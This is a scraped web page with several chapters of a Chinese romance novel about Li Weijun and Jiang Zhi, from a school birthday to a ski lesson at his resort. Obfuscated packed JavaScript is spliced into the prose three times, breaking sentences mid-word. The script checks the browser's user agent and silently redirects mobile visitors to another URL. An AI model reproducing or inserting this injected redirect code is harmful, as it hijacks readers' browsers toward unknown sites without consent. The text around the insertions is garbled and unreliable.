李惟钧其实一直想问,为什么她总是在早饭时间补觉呢?高一课业并不太繁重,学校安排的睡眠时间也很合理,严格按照学校的时间点睡觉起床是完全不会困的。 但后来就知道了。 高一上学期,11月24号,周三。 学校把活动课定在下午,可以在学校里自由活动,也可以回宿舍,大多数人都会在活动课的时候回宿舍洗衣服洗头发,家长也能在活动课的时候给孩子送东西。 24号日子特殊,李承良本来也打算这次活动课来学校看看他,给他送点儿吃的,但李惟钧怕他来回折腾,从秋谷来一趟市里很麻烦,便没让他来,在电话亭给他打了个电话。 李承良正在干活,很久才接起来,跟他说:“今天生日呢,多吃点!还有没有钱?” “有,不用担心,”李惟钧说:“他们又让你自己抬玻璃了?” 车间主任很会使唤人,李承良老实,给他多少活他都不声不响地干,但车间主任也不给他帮手,可着一个人的力气薅,现在车间生产的玻璃要比以前厚一点,李承良自己抬有点吃力。 “没事儿,现在生产车间那边缺人手,等会儿就给我调过来人了。”李承良问他:“今天去学校的家长多不多?” “没多少人,还好。你记得提醒他让他给你抽人手。” “行!我早跟他说了。”李承良叹口气,“就是离你离得太远了,不然过生日呢,怎么也得让你吃个蛋糕再吹蜡烛许许愿望吧,16岁了,马上成年,也该过得郑重一点。” 李惟钧弯唇,“回家再补,咱俩一起吃。” 李承良嘿嘿一笑,“行,放假回来我上车站接你去,咱俩吃点儿好的。” “嗯,爸,别太急着干,累了就歇歇。” “不用操心我,赶紧学习去吧!” 李惟钧挂断电话,拔出电话卡,他没有要洗的衣服,头发每天早上洗漱的时候顺带也就一起洗了,这会儿没事干,准备回教室做会儿题。 学校的电话亭在教学楼连廊下面,李惟钧出来,一拐弯,就看见姜至吃力地提了两个大袋子,里头装的东西很多,鼓鼓囊囊的,正往宿舍楼的方向挪,走走停停。 手提袋的绳子很细,有点勒,她手指都被勒出了红印,把袖子捋下来遮住手,衣服被扯得歪歪扭扭。 李惟钧站在原地,最终还是主动上前帮忙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122525|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我帮你提?” 姜至侧头,是李惟钧,犹豫之余又怕太麻烦他,“你要回宿舍吗?” 他顿首:“嗯,我不着急。” “这个有点儿沉啊,麻烦你了。”她不好意思地笑笑。 李惟钧没说什么,把她两个手的袋子都接过来,一手提一个,这哪是有点儿沉啊,简直是太沉了。 姜至甩了甩手,无比轻松,但看见细细的绳子勒着他的手掌,连忙说:“先拿到食堂吧。” 两个人进了食堂,在门口坐下,姜至说:“谢谢你啊,我妈拿了太多东西了,都是水果。” “啊对了!”她从袋子里拿出两盒姑娘果和无花果,塞到李惟钧手上,“一起吃啊!我妈说正好让我跟同学们分一分,这儿离宿舍还有段距离呢!谢谢你帮我啊。” 李惟钧没见过这两样东西,连叫什么都不知道,自然也不知道该怎么吃。 他拿在手里,没动。 “不用……” 话还没说完,姜至似乎看出了他的窘迫,拆开包装,剥了两个姑娘果递给他,“这里不能洗,将就下,但其实也挺干净的,这个姑娘果特别甜。” “还有这个无花果,这个稀奇古怪的水果甜倒是甜,但我吃多了嘴巴会痒,”她剥开皮,里面是粉红色的果肉,“你吃的时候一定要小心哦,要是觉得嘴巴不舒服就别吃了。” 李惟钧接过来,放在嘴里,姑娘果脆甜,无花果果肉甜丝丝的,他垂下眼,轻声说:“谢谢。” 姜至一边往嘴里塞姑娘果一边翻另一个袋子,拿出一个香薰蜡烛后,又低着头翻来覆去在袋子里找东西,找半天没找到,任丽娟没给她带,“没打火机这怎么点啊,就一盒火柴。” 李惟钧说:“火柴也能点。” “我知道啊,但是我不敢用,这个火柴有点短,我特别怕划的时候烧到我的手。” 李惟钧从盒里拿出来一根,“不会的,划的时候别靠侧边太近,角度大点就行。” “这样吗?”她试着划了下。 “角度也不用那么大。” 李惟钧用火柴试着划了下,火苗燃了,姜至把蜡烛递过去,示意他点上。 烛芯融化了蜡烛,淡淡的香气散出来,姜至闻了闻,是这个味儿,没买错。 不过,李惟钧看着这个蜡烛,说:“宿舍好像不允许点蜡烛吧。” 她的心情一下子down下来,“啊,对呀……我忘了这件事了。” 李惟钧意识到自己说错话了,“你带这个干什么?” “我认床啊,晚上睡不着,这个蜡烛我在家里经常点。” 都开学快两个月了,还没适应吗…… 姜至抱着臂,“喂,你这什么眼神儿?你是不是觉得我事儿很多?” 李惟钧摇摇头,“没有。” 又认真重复:“真没有。” 姜至摊手,“这是我第一次住宿,确实有点不太习惯。” 她睡觉不老实,喜欢在床上打滚,宿舍的单人床太小了,而且她还是上铺,经常担心睡着睡着从床上摔下来,而且……宿舍有人的呼吸声很重,每晚其他人都睡着了但她还睡不着,别人的呼吸声一重她就更睡不着。 李惟钧终于知道她为什么总是早上吃饭时补觉了。 姜至咧着嘴吃了一个无花果,生怕果肉挨到自己唇边,但还是感觉到了不对劲,“不行了,我得管住自己,嘴又开始痒了。” 下回得跟任丽娟说不要再给她往学校拿无花果了。 她用纸巾蹭了蹭唇角,看见几个校领导从后门进来,应该是来检查食堂情况的,她赶紧说:“快走,被校领导看见就该误会了。” 学校抓早恋抓得很严,他们俩虽说没有任何一点不正当关系,纯粹是正常且纯洁的同学之情,但在校领导的眼里还真不好解释,他们看见男女生在一块会自动会脑补出一本小说。 姜至把盒子上的保鲜膜裹好,挨个放进袋子里,跟李惟钧说:“帮我把蜡烛吹灭吧!” 李惟钧拿起香薰蜡烛,有股好闻的橘子味弥漫在鼻息间,他看着跳动的烛芯,吹了口气。 火苗灭掉那瞬间,他忽然意识到,自己已经过了16岁的生日了。 没有蛋糕,没有许愿,但有姜至。 16.夏至前的春夜(4) 夏至前的春夜(4) 清明假期悄然而至,四月份,气温升高,也处在西途的花期,五颜六色的野花点缀在油绿的草原上,色调简单,但非常出片,很适合拍照,西途的客流量一下就多了。 姜至所有班课都已经结束,但高考前夕很多艺考生都在找老师补习,校长便给她排满了一对一,相比之前,工作量虽然没怎么变,但是下班早了,晚上能清闲不少,也有时间出门逛景点了。 每天早上一拉窗帘就能看到远处的山峦和草原,这一幕对眼睛非常友好,再迎着微风伸个懒腰,整个人神清气爽。 在清潭是看不到这样舒服的画面的,看到的都是自习室里每个同学毫无生气垂着黑眼圈的脸。 那时候一心扑在考公考编上,总觉得拿个铁饭碗才算安稳,所以玩不安心,也睡不好。早上八点准时起床,其实最开始,姜至尝试按照网上的备考作息时间来执行,每天六点半就起来背申论,但她的精力经常坚持不到中午午休,每次一到十点多就昏昏欲睡,做题效率极低,索性就改到了八点起床,然而还是睡不够,每天起床是件困难事,一睁开眼就头疼眼睛肿,恨不得一直在床上躺着。 清潭是个快节奏的城市,市区里高楼林立,从早到晚总是车水马龙,上下班高峰期坐地铁能把人挤死,这种情况下每个人不得不卷,姜至不想啃老,也不想上了那么多年学到最后反倒一事无成,所以被迫随大流内卷,很少有这样慢下来,一觉睡到自然醒,惬意地坐在窗户旁边,喝喝奶茶看风景,十分懒散的时候。 最近化妆她都不用遮瑕了,皮肤状态很好,应该说,是西途把她养得很好,盛夏将至也把她养得很好。 她在这里感觉到前所未有的放松。 姜至顺着窗户往外拍照,把图发到朋友圈里,很多人都问她这地方是哪儿,她觉得如果现在让她回到清潭,估计还会很不习惯。 也不知道李惟钧会不会习惯。 姜至一愣,从李惟钧昨晚离开西途到现在,短短的十几个小时里,她已经无意识地想过他很多次了。 都怪他! 他昨晚临走前特意问了她好多清潭近况,她介绍了几家离秋谷很近,性价比也比较高的酒店,还介绍了很多小吃店,又告诉他现在去秋谷不用再辗转坐一个小时公交了,今年年初刚刚开了几条地铁线,办张地铁卡就能坐。 他又问怎么办地铁卡,她在app上帮他申领了一张,还啰啰嗦嗦嘱咐换乘的时候不要坐反方向。 等他坐上车离盛夏将至越来越远,姜至想起来他那张挂满了笑意的脸,才反应过来这人是故意的吧! 她啰嗦的时候完全没意识到他这么大人了,又不傻,自己也会看的,哪里用得着她操心? 李惟钧好绿茶啊,故意把自己变笨,纯粹是故意让她担心! 脸颊忽然有点热,姜至喝完最后一口奶茶,准备收拾收拾下楼,手机震了下,李惟钧给她发来一张照片,他正在去秋谷的路上,应该正在山路上走,周围都是挂满了果的橙子树。 随后跟来一条语音:【听老乡说是血橙,我买了点儿寄回西途去了。】 姜至说:【又是永久供应啊?】 【你先尝尝他们家好不好吃,酸的话就不订了。】 【我吃过这里的橙子,不过不是你说的这家,还不错,带了一点点酸,可以接受,这个地方种的橙子应该大差不差吧。】 【那就行,后面吃没了再让他们送,这一季橙子卖过去等十月份还有新品种。】 【你又得花多少钱啊!不要太浪费!】 李惟钧笑了下:【这怎么算浪费钱?你不是爱吃吗。】 姜至不知道该说什么了,心口一震,有些失神地想:她什么时候告诉过李惟钧她爱吃橙子的?怎么一点印象也没有呢。 还有,什么叫她爱吃?是因为她爱吃才买的吗? 她是被撩了吗…… 长这么大,没少见过男人在她面前“散发魅力”,但大多都非常刻意且油腻,一眼就能看出来他们是想来撩她,每每到那时,她的第一想法是:快跑!别来恶心我了! 但感受到心蹦得像是要跳出来,这是第一次。 明明这只是一件很小很小的事啊,对她来说怎么会威力这么大呢。 太厉害了,李惟钧。 姜至给他回过去,拿捏着语气,让自己的声音听上去轻松泰然:【那好吧,谢谢你了,小李老板。】 小李老板说:【不客气。】 语气这么正经……搞得她又觉得自己想多了,要是再接着往下想,还真有点自作多情。 真是太厉害了,李惟钧。 她拍拍胸口,告诉自己那都是小事儿,别这么没见过世面,随后下了楼。 客厅坐了几个在等车的游客,高越冬正在前台跟他们瞎聊,欢声笑语的,看见姜至下来,打了声招呼:“小姜姐,刚才有个送快递的拿来几个包裹,我看收件人写的是你。” 姜至坐在前台拆快递,这些全都是她给盛夏将至冲印的照片和文创。 翻民宿的微信朋友圈时,姜至发现很多客人在民宿的合照,夏天在小院里听歌手唱歌喝酒的,秋天在葡萄架前吃葡萄的,还有冬天在客厅壁炉前围着喝茶取暖的,氛围感很好,正好现在客厅有面墙比较空,可以摆些东西,整间屋子的装潢其实已经非常完美了,不用再多加东西,但那个地方之前放着饮水机,后来饮水机挪了位置,就变得很空荡。 姜至在朋友圈征求了客人意见,他们同意后就找冲印店把照片打了出来,准备贴到墙上做一面照片墙,还买了很多文创,可以往上写写许愿祝福之类的,能让来这儿住的客人有点参与感,将来互联网短视频发展只会越来越火热,这面照片墙也可以当成一个宣传热点。 姜至一边摆照片,一边忍不住想,有她在,李惟钧真是赚大发了!他这个老板简直没有一点上进心!都不知道把握住短视频潮流! 夏秋冬的照片都有了,唯独缺了春天的,西途的春天可以看到雪山花海和湖泊,但是昼夜温差太大,晚上很冷,民宿也没什么应景的集体活动,姜至站在照片墙前一直在想怎么让春天的盛夏将至也热闹起来,不然这面照片墙总是缺一个季节也不太好看。 除了这些,姜至还做了很多拍立得效果的照片,和之前逛街买的冰箱贴一起贴到了冰箱上。 等李惟钧三天后再回到西途,站在盛夏将至大门口,就发现整间民宿比以前更有“人味”了。 姜至没告诉他她给民宿来了个“精装修”,或许是为了给他一个惊喜? 当然,李惟钧确实感到惊喜。 姜至刚和郑阿姨从外面寄完快递回来,最近郑阿姨的毛衣卖出很多,生意不错,俩人一进门就发现李惟钧盯着那面照片墙,姜至扬声:“你回来啦。” 李惟钧回头看着她:“嗯,我回来了。” 说着,顺手接过姜至脱下来的衣服和包,挂在衣架上。 赵理明看着他这一套动作,“呦呦呦”喊了两嗓子,李惟钧眼神瞥过去,“耍猴呢?” 姜至自夸道:“照片墙好看吧,原来那面墙空荡荡的,这样一看是不是好多了?” “很好看,”李惟钧夸完,问她:“你们俩刚从外面回来?吃饭了吗?” “吃过了,你是不是还没吃啊。” 郑阿姨接话说:“正好厨房还有,我去给你热一热。” 姜至跟他说起那面照片墙的事:“春天的照片基本上没有哎,这个季节民宿有什么活动吗?” “还真没有,重新开业之后没来得及想那么多。”他慢悠悠靠在椅背上,嘴角含笑,“小姜老师又替我操心了。” “得了便宜别卖乖!” 姜至想了很久也没想出来,李惟钧说:“那不然就暂时先放几张咱们几个人的合照?民宿开了这么久我还没组织过大家拍合照。” “好主意!” 姜至当即就往“有福同享”里发消息,这群里的人数渐渐壮大,她把方其澜邀了进来,方其澜又把林空邀了进来。 几个人商量了好时间一起凑到民宿,方其澜干脆建议就当作团建好了,在院子里烧烤,后院的烧烤架闲着也是闲着。 于是,盛夏将至在一个天朗气清的好日子迎来第一次团建,天色湛蓝,碧空如洗。 姜至找了个手机支架放好手机,正在挑角度,李惟钧以为她要给他们拍,便说:“设一下倒数十秒,连拍,你来跟我们一起。” 方其澜朝她招手:“快来!” 按下拍摄键,姜至跑回来,正要往方其澜身边站,结果林空格外有眼色地把人一搂,方其澜笑嘻嘻地拍他胸膛,嗔怪道:“哎呀,你怎么这么粘人!我打算跟姜至站一起呢!” 林空不要脸地冲姜至道:“妹,你理解理解姐夫哈!” 姜至:“……” 你们两口子的目的不要太明显。 方其澜顺着把她往旁边一推,姜至感觉后背撞到了李惟钧手臂上,他下意识扶住她的腰。 方其澜右手搂住郑阿姨,眼里的故意都藏不住了,但还是故作淡然地说:“咱让长辈站中间好吧!” 郑阿姨不说话,也在笑,赵理明看热闹不嫌事大地指挥:“小姜姐你就站钧哥旁边吧!” 高越冬搭腔:“就是就是,多登对啊!” 姜至看过去,高越冬打着哈哈:“我是说这样人员分配多平均啊!” 赵理明跟高越冬说话,眼睛却在朝着她和李惟钧看,两个大小伙子肩膀勾得死死的,就差没把“示范”这俩字写到脑门上了,“哎咱俩搂着肩,这个姿势显得亲近点儿。” 姜至一下笑出来,扭头看李惟钧,李惟钧也微垂着头看着她,其他人都在看着他俩起哄,她忽然冒出一点点不自在。 原来他们俩的关系在大家面前已经变成这样了吗? 他眼神闪熠,轻声说:“十秒要到了,姜至。” 而后,微微张开手臂,敞开怀抱,等着她。 姜至眼神飘忽,耳朵根子红红的,慢慢走过去,他的手掌扣住她的肩头,再略微一使力,她整个人便靠进了他怀里。 那十秒钟连拍应该留下了她一点点走进李惟钧怀抱的整个过程,姜至头脑有些晕眩,这种感觉好奇妙啊,之前那几年怎么从来没感受到过呢? 她朝他歪头,小声道:“早就到了好吧。” 李惟钧弓下腰,嘴唇凑近了她耳畔,“嗯,又得重拍一次。” 肩膀上的力道由轻变重,姜至感觉有股什么感觉顺着他的力道弥漫进心里,要把她其他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138853|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切想法全都赶跑,就在整颗心马上被那种陌生的感觉填满时,她听见李惟钧极轻地叹了口气,好像有点遗憾,说:“刚才我早点来搂你就好了。” 快门键按下,姜至看着屏幕上笑着的自己,满脑子都在想—— 她好像,彻底被占据了。 …… 最近似乎是团建高峰期,自打盛夏将至团过建,姜至他们公司也开始了,先是整个公司团建,校长包了一个酒店大堂,慷慨激昂领着他的兵喝了顿酒,喝多之后还给画饼说你们都是我的弟弟妹妹!我弟弟妹妹们有求我必应! 结果对于涨工资这事还是置若罔闻。 再就是姜至他们高中语文组团建,教研组长觉得前两天喝酒喝太多了,决定带整个语文组去滑雪。 周五早上九点,九个人准时到了一个雪场,据说是这周围性价比最高的了。 场地不算太大,只有一条初级道和一条高级道,所以场地费自然就比其他滑雪场低,他们组里三个人没怎么滑过雪,不熟练,姜至是完全不会,组长到服务中心租好装备,找工作人员问了问教练费。 工作人员说:“双板一对一280,单板一对一300,都是有证的教练,两个小时包教会,报团的话1000,五个人起报。” 租完装备剩下的钱不够这么多人请教练,组长便说:“报团能再便宜点儿吗,稍微减点就行。” “那你们几个人报团?” “四个。” “还差一个啊……等我问问吧。” 姜至提前做了攻略,但是来不及去买速干衣,只好往里穿了件夏天的速干半袖,下半身穿了条紧身的鲨鱼裤,中间套了一层羽绒内胆,最外面是滑雪场租的滑雪服。 单板不好控制,姜至选了双板,她往脚上套了一次性脚套,研究着该怎么打开雪鞋扣子,听见组长在旁边说:“我们!我们找教练。” 姜至抬起头,正巧和李惟钧对上目光。 他打量她一眼,让工作人员拿了套新的护具,蹲到她面前,“你们来团建?” 姜至呆在椅子上,颇感惊讶,“嗯,你也来滑雪的吗?” 李惟钧解开鞋子滑扣,“我是这儿的老板,雪场旁边就是跳伞基地,跟你说过的,忘了?” “想起来了,我没想到这里是你的雪场。”李惟钧稍稍抬起她的脚,帮她把裤子弄整齐,姜至心口一跳,缩了缩腿,挡着他的手:“哎,我自己就行!” “这个扣子不好扣,我来吧。”李惟钧握着她的小腿肚,没松。 姜至只好收回手,看着他整理她的滑雪裤和雪鞋,也忘了旁边还有人,只顾着盯他看了。 刚穿好一只,李惟钧又想起来问:“你贴暖宝宝了吗?雪场很冷,你穿得有点薄。” “我忘带了,穿了两层衣服不够吗?” 李惟钧又起身去服务台拿了两个暖宝宝,在旁边的组长看愣了,瞧着那道高大背影,撞了撞姜至肩膀,“你男朋友啊?” “不是不是!”姜至摆手,解释道:“他是我高中同学。” 组长露出质疑的目光,哪个高中同学会这样捏人家女孩子小腿的?还帮忙穿鞋,这也太亲密了吧。 同为男人,他太清楚这代表什么了。 姜至无奈:“……真的是。” 组长眼珠一转,“那你让他帮咱们少点儿教练费呗!” 姜至有点不太喜欢这样,正要说什么,李惟钧走过来,撕了两个暖宝宝贴到她的小腿上,说:“你们教练费还差多少?” 组长说了个数,还指着她,加了句:“姜至也不会滑。” 李惟钧琢磨了下,“那就交这么多吧,姜至我来教。”说着,穿好鞋让她站起来,问她:“行吗。” 怎么不行啊,组长高高兴兴拿着装备走了,姜至拍他胳膊,忍不住“教育”他:“你怎么回事!还差那么多呢!” 李惟钧抬起小臂抓住她气呼呼的手,笑了下,又弯下腰帮她往膝盖上绑了俩粉色的乌龟护具,“玩得开心点就行。” “你看不出来他占便宜啊!我们组长这人就爱这样。” “他都这么说了,万一不答应,他以后给你穿小鞋怎么办?” 姜至默了默,仰起脖颈说:“那我可不是什么好拿捏的!” “知道你不好拿捏,但有时候男人也很小心眼。” “切,谁说的,你就不小心眼儿啊,”姜至斜着眼睛抬头说:“你多大度啊!老是白送!” 李惟钧一只手抱着他们俩的滑雪板,一只手扶着她往雪场走,笑笑:“我可不大度。” 姜至撇撇嘴,不信,看见远处已经到位的教练,“你们场里几个教练啊?” “算上我六个,单双板都会教。” “你忙不忙?”姜至才想起来这件事,“你要是忙的话就让别人教我,反正我的要求不高,会滑不摔就行。” “那可不行。” 他搂着她的腰,让她身子前倾在传送带上站稳,姜至回头问:“怎么了?” 李惟钧特别小气地说了句:“那教练都是男的。” 姜至品味一番这句话,怪她迟钝吗?隔了几秒才猛地意识过来他什么意思,正要把头摆正,他又低下头,眸光漆黑,深沉,问她:“你说我大度不大度?” 17.夏至前的春夜(5) 夏至前的春夜(5) 姜至不说话了。 履带慢慢到达雪道最高点,她的心潮似乎也翻涌到了最高点。 仅仅只是因为李惟钧那简单的一句话。 这男人到底哪里木讷了?这谣言到底是谁传出来的! 她思忖半天,不能让自己一个人独自在这里心潮澎湃,不能太便宜了李惟钧,于是把下巴一昂,侧着头朝后看他,语气淡然:“男教练女教练怎么了?不都是教练吗,再说了——” 她故意停顿,意味深长地勾着唇角,“你就没教过其他女学员吗?” 李惟钧摇头,还挺认真,“那不好意思了,真没有,我一般不来雪场教人滑雪,你是我第一个学生。” 姜至嘴角一滞,和他相视一眼,又撇过头不看他了,“我才不信!” 他也不再解释,只是捏了捏她的手臂,喊她:“姜至。” “干嘛?”她抱着双臂,好痒啊,自己上手捏了捏,手感很好,软乎乎的,却完全没了那种痒痒的感觉。 他带着笑意,轻声问:“你不大度了?” 姜至心里跟着一痒,猛地回头,皱着眉眼,嘴巴抿成一条线,想要反驳他,但又想,为什么要反驳呢?那不就显得她更欲盖弥彰了吗! 她一字一句说:“我要换教练!换女的!” 说着,传送履带已经到终点了,姜至抬起脚就往前迈,但这雪鞋很不方便,又重又僵,小腿都弯不了,踩在终点的小雪坡上还稍微有点滑,而且她刚从运动状态中走出来,由于惯性原因,身体不稳,下意识朝后仰,双手胡乱朝空中挥了挥。 她以为自己肯定要摔了,不过正好可以测验一下屁股上的乌龟护具好不好用,紧跟着,就听见什么东西扑通落在雪地里发出几声闷响,随后就被李惟钧有力的手臂扣住腰,整个人被他搂住,站稳。 姜至心有余悸,“吓死我了。” 李惟钧也被吓了一跳,“好了,不闹了好吗。下履带的时候不能太急。” 细微灼热的呼吸让姜至耳朵一热,再往旁边一瞧,他们两个的板全被他慌乱之中扔到地上了,旁边的工作人员正盯着他俩……跟看电视剧一样。 姜至拍拍横在肚子上的手臂,箍着她的力道让她有点喘不上气,小声说:“你……你抱太紧啦。” “疼吗,没太注意。”他轻声道歉。 仔细品一品似乎真的能听出其中的不好意思,不过姜至没深究,李惟钧带着她和滑雪板往旁边的小缓坡挪了挪。 李惟钧用的是单板,姜至是双板,他先告诉她双板内刃外刃是什么,怎么穿怎么脱,而后示意她把脚踩到板上,从缓坡直滑降下来找找感觉。 这个坡几乎没什么坡度,姜至说:“还挺好玩!” 但滑到坡底就像被封印了一样,迈不了步子,也不会转身,十分笨拙,她抬起双手朝李惟钧晃了晃,“你拉我一下呀!” 李惟钧盯着她的手,上前,攥住她的手握住,姜至也立刻用力回握住,他又重复:“把脚后跟的固定器按下去,雪板就下来了。” 姜至就是犯懒,“我知道呀,你刚才教过了,但那多不方便啊,又穿又脱的。” 李惟钧摸到了她的手心,冰凉,他从口袋里拿出一副手套,“先把手套带上吧。” “滑雪其实没想象之中那么难学,我先教你怎么停,”李惟钧把她拉倒坡顶上:“想停千万不要用雪杖,雪仗是加速的,只会让你越来越快,第一次上道滑的时候可以直接把雪杖像这样握在手里,也可以抵在膝盖上。停的时候,用两只脚大脚趾内侧的位置控制板头,脚后跟同时使劲划外八,脚掌和脚后跟形成个三角形,屁股不要像深蹲一样往后坐,你先试试。” 姜至划了下,“是这样吗?” 李惟钧低着头看她的动作,“脚尖不要空那么大,脚后跟用力,外八幅度再大点儿。” 姜至运动天赋实在不算太高,其他同事滑得十分熟练,就连那几个请教练的人都已经上雪道练习了,她练了半天才把这一个刹车动作练好,到后来她都不好意思了,差点泄气,李惟钧却一点不着急,陪她练好了刹车,仔仔细细讲完所有动作要领才穿上单板,正式拉着她一起站上雪道起点。 “这是初级道吧。”姜至问。 李惟钧说:“不要害怕,我刚才不是教了你怎么摔?而且你的护具很厚,放心。” 姜至把雪杖拿在手里,横起来,姿势倒是挺对,但动作透露出几分僵硬,“我是第一次滑雪嘛,怕我滑起来给忘了。” 虽说是初级道,距离不是很长,但起点的坡度却非常陡,姜至站在最高点往下看,看得心惊肉跳,突然觉得没刚才那么好玩了,李惟钧站在她对面,“看着我,姜至。” 姜至抬眼,李惟钧握住她的雪杖,她立刻觉得有股力量撑住了她向前的力,身体稳稳站住了。 他缓声说:“只是先练几回,速度不会太快,我们随时停,慢慢来。放心大胆滑,我在你前面陪你一起,不会让你摔的。” 紧张和恐惧似乎被冲淡了些,姜至看着他的眼睛,心里平静了,缓缓点了点头。 李惟钧抓着她的手,慢慢让她往下挪,滑了没几米,速度变得原来越快,李惟钧喊道:“姜至刹车!” 姜至脑子里的反应很快,然而这个陌生又刺激的速度让她十分慌张,李惟钧教的姿势要领全忘了,理论很简单,但实践起来却很难,她脑子里一片空白,不知道重心该往哪里放,不知道脚该怎么摆,两条腿不会使劲,软得像面条,整个人还在往下滑,完全控制不住,唯一知道的就是死命拽住李惟钧腰侧的衣服。 甚至为了抓住他,连手里的雪杖都扔一边去了。 李惟钧手臂用劲儿控制住她的身体,声音听上去依旧稳如钟,只不过音量大了点儿,在她耳边说:“身子不要往后仰,脚后跟使劲儿!” “我……使不上力气。”姜至羞都要羞死,这简直太丢人了吧,虽然李惟钧就在她前面手把手地带着她,但他这个师傅都很难让她这个徒弟停下来,他们俩还在接着往下滑。 可见她这个徒弟有多难教。 李惟钧往前倾了倾,双腿往右,单板卡在雪道上,板面抵住她正在下滑的雪板。 彻底停了,他真没让她摔。 两个人站在斜坡上,姜至此时已经什么都忘了,心跳咚咚,咚咚,咚咚,像是要从衣服里钻出来,恐惧和“劫后余生”的双重刺激冲击着大脑皮层,让她面对面紧紧搂住了李惟钧的脖子,满脑子都是千万不要松手,整个人严丝合缝地同他贴到了一起。 她大口大口喘了两口气,忽然感觉到面前的李惟钧胸膛也是起起伏伏的。 姜至把呼吸声放低,忍不住笑了。 也不知道是被自己气笑了,还是被自己笨笑了。 “李惟钧,我是不是很笨?” “不笨。”李惟钧说。 “瞎说,我差点让你也没停下来。” “真不笨。” “你在安慰我吗?” 李惟钧也笑了,“那……你确实有点笨?” “李惟钧!有你这么说话的吗!” 他悠悠出声:“我说你不笨你不开心,我说你笨你也不开心,怎么这么难伺候啊姜至。” 姜至闷在他颈窝里无声地笑。 “咱先商量点儿事行吗?”李惟钧拍拍她胳膊,“松点,我快喘不过气了。” 姜至猛地松开他的脖颈,退离,才反应过来刚才一直搂着他,脸上闪过一丝局促,“对不起啊,我刚才有点太紧张。” 李惟钧虚扶着她的腰,“其实你并不笨,就是第一次滑,太紧张太害怕,滑雪的时候越紧张越放不开。” 她一松开手,李惟钧反倒觉得脖颈有点空落落的。 算了,喘不上气就喘不上气吧。 于是脚下神不知鬼不觉地往后一挪,姜至的双板又要往前滑,她又下意识朝他扑了过来。 李惟钧在她退开之前,环住她的腰。 “姜至,我们先不练了。” “为什么?” “老这么害怕也不行,得克服,要不要先体验一下初级道的速度?” 姜至从他颈窝里抬起头。 李惟钧侧头,看着她的眼睛,“我抱着你,我们先滑几趟。” 姜至心口一荡,“怎么抱啊。” 李惟钧按下她脚后的固定器脱下雪板,勾住腿窝,直接把她公主抱了起来,姜至的惊呼在被他抱在臂弯的那一刻全都变成了无声的悸动,刺激,她近距离瞧着李惟钧的侧脸,心口越荡越快了,感觉手心都在微微发汗。 “信我吗?”他问。 姜至把自己的护目镜摘下来给他戴上,答非所问道:“那我的雪板怎么办?” 李惟钧朝同事指了指地上的雪板,有人跑下来,调侃:“老板,挺有情趣啊。” “别瞎说,先把这俩板放到履带旁边。” “要不你俩上高级道?那边没什么人,这边人多,多影响你发挥啊。” “不了,”李惟钧颠了下怀里的人,说:“有人害怕。” 同事早看见他俩在雪道上搂搂抱抱了,其实不止他,很多人都看到了,频频朝他俩投去目光,哪有人教学员是这么教的啊,也太亲密了吧,这么亲密肯定是情侣!同事这么一想,连忙拍马屁道:“老板娘!别害怕!我们老板滑雪滑得厉害着呢!他摔了都不会把你摔了!” 姜至明知故问:“小李老板,你的员工是在跟我说话吗?” 李惟钧抱着她调整方向,笑着说:“现在估计整个滑雪场都是那么认为的。” 环顾四周,姜至后知后觉发现他们俩已经完全是人群焦点了,晃了晃腿,“你怎么不提醒我!” 她抬脸望天,假眉三道地叹了口气,“清白算是没了。” 李惟钧慢条斯理地说:“没就没吧。” 姜至还没来得及回话,李惟钧唰一下就滑下去了,姿势轻松,动作流畅。 风朝他们迎面扑来,整个雪道在飞速往后,只有他们俩一往无前,一切场景都变成了虚幻,一切都是快的,但也只有李惟钧是慢的,是清晰的,姜至可以感受到他喷洒在脸颊上轻缓的呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李惟钧拿着雪具亦步亦趋跟在她身边:“下回教你转弯漂移,特别酷的那种。” 但又想起来天气越来越热,离夏天也越来越近,雪快要化掉了,“滑雪场五月份关闭,紧跟着就得准备开跳伞基地了。” 姜至关掉手机,望了望隔壁的场地,“你也会跳伞吗?” “会,也考了证。” 她又问:“教过人吗?” “这个没什么可教的,危险系数比较高,所以每次必须和客人一起跳。”李惟钧看出了她的刻意,“不过只带过男的。” 姜至没再继续问了,要笑不笑地翘着唇角。 “跳伞比滑雪简单多了,要来试试吗?”他垂眸看着她。 姜至说:“你跟我一起跳啊。” 李惟钧反问:“你还想跟谁跳?” 姜至轻笑出声,慢悠悠道:“哎!没办法了啊,就冲今天这些谣言,也只能跟你跳了啊。” 李惟钧“嗯”了声,“那咱们约好了,下次一起跳伞。” 今天不用上班,团建结束就能各回各家,李惟钧上午本来有一些工作要赶,但因为教姜至滑雪就没做,只能晚点再回民宿,但其实现在已经有赵理明来上夜班了,他可以不用天天再往盛夏将至跑,但还是雷打不动风雨无阻地回来吃饭睡觉。 李惟钧给她叫了辆车,临走前,手搭在车顶,俯下身跟她说:“回民宿之后做做拉伸放松肌肉,待会儿我传几个视频给你,照着练就行,不然你今天运动量那么大,明天早上起来身体肯定会疼。” 